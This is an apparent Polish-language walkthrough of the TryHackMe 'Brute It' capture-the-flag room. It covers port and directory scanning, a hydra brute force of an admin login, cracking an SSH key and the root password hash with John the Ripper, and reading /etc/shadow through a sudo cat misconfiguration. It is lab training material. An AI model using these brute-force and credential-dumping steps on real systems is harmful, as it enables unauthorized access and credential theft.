Brute It

https://tryhackme.com/room/bruteit

Cel

- user.txt flag
- web flag
- root.txt flag

Nmap Init

```
nmap -p- 10.10.123.24
```

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap Full

```
nmap -sC -sV -p 22,80 10.10.123.24
```

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

HTTP Header

```
curl -I 10.10.123.24
```

HTTP/1.1 200 OK
Date: Wed, 21 Sep 2022 21:19:04 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Sat, 15 Aug 2020 23:44:42 GMT
ETag: "2aa6-5acf31f1b626d"
Accept-Ranges: bytes

```
Content-Length: 10918
Vary: Accept-Encoding
Content-Type: text/html
```

Enumeracja web server

```
gobuster dir --url 10.10.123.24 --
wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

```
2022/09/21 17:22:27 Starting gobuster in directory enumeration mode
/admin (Status: 301) [Size: 312] [--> http://10.10.123.24/admin/]
```

- Sprawdzenie view-source http://10.10.123.24/admin
- Podpowiedz: Hey john, if you do not remember, the username is **admin**

Brute Force admin page

```
sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.123.24 http-
post-form "/admin/index.php:user=admin&pass=^PASS^:invalid"
```

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-
09-21 17:39:27
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login
tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-
form://10.10.123.24:80/admin/index.php:user=admin&pass=^PASS^:invalid
[80][http-post-form] host: 10.10.123.24 login: admin password: xavier
1 of 1 target successfully completed, 1 valid password found
```

Web flag: THM{brut3_f0rce_is_e4sy}

- Zdobycie id_rsa johna

Crack id_rsa

- Zmiana id_rsa w hash

```
ssh2john id_rsa > id_rsa.hash
```

- John the ripper

```
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
```

Press 'q' or Ctrl-C to abort, almost any other key for status
rockinroll (id_rsa)
1g 0:00:00:00 DONE (2022-09-21 17:45) 12.50g/s 907600p/s 907600c/s 907600C/s saloni..rock14

SSH

- logowanie ze pomoca id_rsa

```
chmod 400 id_rsa

ssh -i id_rsa john@10.10.123.24
```

- user.txt flag

```
john@bruteit:~$ ls -ls
total 4
4 -rw-r--r-- 1 root root 33 Aug 16  2020 user.txt
john@bruteit:~$ cat user.txt
THM{a_password_is_not_a_barrier}
john@bruteit:~$
```

- **user.txt flag: HM{a_password_is_not_a_barrier}**

root.txt flag

- Wykorzystanie sudu -l

```
john@bruteit:~$ sudo -l
Matching Defaults entries for john on bruteit:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
\:/snap/bin

User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat
```

```
john@bruteit:~$ sudo cat root.txt
cat: root.txt: No such file or directory
john@bruteit:~$ sudo cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
john@bruteit:~$
```

root.txt flag: THM{pr1v1l3g3_3sc4l4t10n}

Root

```
sudo cat /etc/shadow

root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JY
PUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::
9999:7:::

sudo cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

unshadow passwd shadow > bruteit

john -wordlist=/usr/share/wordlists/rockyou.txt bruteit

Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])

football         (root)
```

root:football

```
john@bruteit:~$ su
Password:
root@bruteit:/home/john# pwd
/home/john
root@bruteit:/home/john# id
uid=0(root) gid=0(root) groups=0(root)
root@bruteit:/home/john# whoami
root
root@bruteit:/home/john#
```